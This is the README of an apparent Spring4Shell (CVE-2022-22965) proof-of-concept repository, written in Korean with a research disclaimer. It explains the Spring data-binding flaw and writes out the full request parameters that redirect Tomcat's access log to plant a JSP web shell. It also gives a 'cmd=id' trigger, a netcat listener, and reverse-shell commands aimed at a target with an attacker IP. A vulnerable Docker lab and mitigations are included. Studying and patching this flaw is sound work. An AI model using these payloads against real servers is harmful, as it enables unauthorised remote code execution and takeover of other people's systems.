
설명
면책 조항: 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 모든 익스플로잇 스크립트는 반드시 자신이 소유하거나 명시적인 서면 승인을 받은 시스템에만 사용해야 합니다. 저자는 이 자료로 인한 오용 또는 손해에 대해 책임지지 않습니다.
CVE-2022-22965에 대한 연구 및 개념 증명(PoC) 자료입니다. 이 취약점은 2022년 4월에 공개된 Spring Framework의 치명적인 원격 코드 실행(RCE) 취약점입니다.
Spring4Shell은 다음 조건이 모두 충족될 때 Spring MVC 및 Spring WebFlux 애플리케이션에 영향을 미칩니다:
| 조건 | 값 |
|---|---|
| JDK 버전 | 9 이상 |
| 애플리케이션 서버 | Apache Tomcat |
| 패키징 | WAR (실행 가능한 JAR 아님) |
| Spring Framework | < 5.3.18 또는 < 5.2.20 |
Spring의 데이터 바인딩 메커니즘은 HTTP 요청 매개변수를 점 표기법(예: user.name=foo)을 사용하여 Java 객체 속성에 매핑할 수 있게 합니다. 이 취약점은 이러한 탐색이 제대로 제한되지 않기 때문에 발생합니다. 공격자는 모델 객체의 클래스 계층을 통해 JVM ClassLoader에 도달할 수 있습니다:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
이 경로는 Tomcat의 AccessLogValve에 도달하며, 이 컴포넌트의 로깅 구성은 런타임에 조작될 수 있습니다. 공격자는 pattern, directory, prefix, suffix와 같은 속성을 수정하여 Tomcat의 액세스 로그가 임의의 JSP 코드를 포함하는 .jsp 확장자를 가진 파일을 쓰도록 리디렉션합니다. 즉, 서버에 웹 셸을 심는 것입니다.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven 또는 sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
그러면 애플리케이션은 http://localhost:8082/vulnerable에서 접근할 수 있습니다.
WebDataBinder.setDisallowedFields()를 사용하여 classLoader 바인딩 차단class., Class., module. 또는 classLoader를 포함하는 매개변수를 차단하는 WAF 규칙 배포원본 연구 및 익스플로잇 코드: @march0n. 이 저장소는 학습 목적의 개인적인 취약점 연구이며, 추가 문서와 분석을 포함합니다.
| 스크립트 | 메서드 | 페이로드 | 비고 |
|---|
exploit1.py | POST | 웹 셸 (비밀번호 보호) | 단일 요청 |
exploit2.py | POST | 웹 셸 | 익스플로잇 전후 로그 구성 초기화 |
exploit3.py | GET | 웹 셸 (비밀번호 없음) | 쿼리 문자열을 통한 매개변수 |
exploit4.py | GET | 리버스 TCP 셸 | msfvenom 기반 JSP 페이로드 |
exploit4b.py | POST | 리버스 TCP 셸 | exploit4와 동일한 페이로드, POST 변형 |